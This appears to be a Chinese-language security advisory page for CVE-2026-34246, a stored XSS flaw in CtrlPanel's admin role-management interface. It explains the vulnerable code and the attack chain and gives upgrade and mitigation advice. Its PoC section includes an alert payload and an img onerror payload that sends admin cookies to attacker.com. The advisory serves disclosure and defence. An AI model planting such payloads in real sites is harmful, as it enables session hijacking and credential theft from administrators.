IPBUF安全漏洞报告
English
CVE-2026-34246 CVSS 4.8 中危

CVE-2026-34246: CtrlPanel存储型XSS漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-34246
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
CtrlPanel

相关标签

XSS存储型XSSCtrlPanelWeb安全权限提升

漏洞概述

CtrlPanel开源计费软件在1.1.1及之前版本中存在存储型跨站脚本(XSS)漏洞。该漏洞位于管理员角色管理接口,由于未对角色名称和颜色字段进行适当的输出过滤,导致具有角色编辑权限的管理员可注入恶意HTML/JavaScript脚本。该载荷被持久化存储在数据库中,当其他管理员访问角色管理页面时,恶意脚本将在其浏览器中自动执行,进而可能导致会话劫持、凭证窃取或权限提升。

技术细节

该漏洞源于`app/Http/Controllers/Admin/RoleController.php`文件中的`datatable()`方法。该方法直接将`$role->name`和`$role->color`变量插值到HTML的`<span>`元素及其`style`属性中,完全未进行消毒处理。此外,代码链中调用了`.rawColumns(['actions', 'name'])`,指示DataTables插件将该列作为原始HTML渲染,从而绕过了框架默认的自动转义机制。攻击者(需具备角色创建或编辑权限)可在“名称”或“颜色”字段中注入恶意载荷(如`<img src=x onerror=alert(1)>`)。当任何管理员加载`/admin/roles`页面时,服务器会返回包含恶意代码的数据,浏览器随即解析并执行该脚本。攻击者可利用此漏洞窃取管理员的Cookie进行会话劫持,植入虚假登录框进行钓鱼,或利用管理员权限执行恶意操作,形成持久化的后门。

攻击链分析

STEP 1
1. 获取权限
攻击者获取一个具有管理员角色创建或编辑权限的账户。
STEP 2
2. 注入载荷
攻击者在角色管理界面,创建或编辑一个角色,将XSS Payload(如恶意img标签)填入“名称”或“颜色”字段并保存。
STEP 3
3. 载荷持久化
恶意代码被存储到CtrlPanel的数据库中。
STEP 4
4. 触发漏洞
当其他管理员访问系统的角色管理页面(/admin/roles)时,服务器从数据库读取恶意数据并渲染为原始HTML。
STEP 5
5. 执行攻击
受害者的浏览器解析并执行恶意脚本,攻击者从而窃取Session或执行后续操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Inject into the 'name' or 'color' field in the Role Management interface --> <img src=x onerror="alert('XSS_POC')"> <!-- Alternatively, stealing cookies --> <img src=x onerror="document.location='http://attacker.com/?c='+document.cookie">

影响范围

CtrlPanel <= 1.1.1

防御指南

临时缓解措施
建议立即将软件升级至1.2.0版本以修复此漏洞。如果暂时无法升级,应严格限制具有角色编辑权限的管理员账户数量,并确保所有管理员使用安全的浏览器配置。同时,可部署Web应用防火墙(WAF)来检测和拦截常见的XSS攻击载荷。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表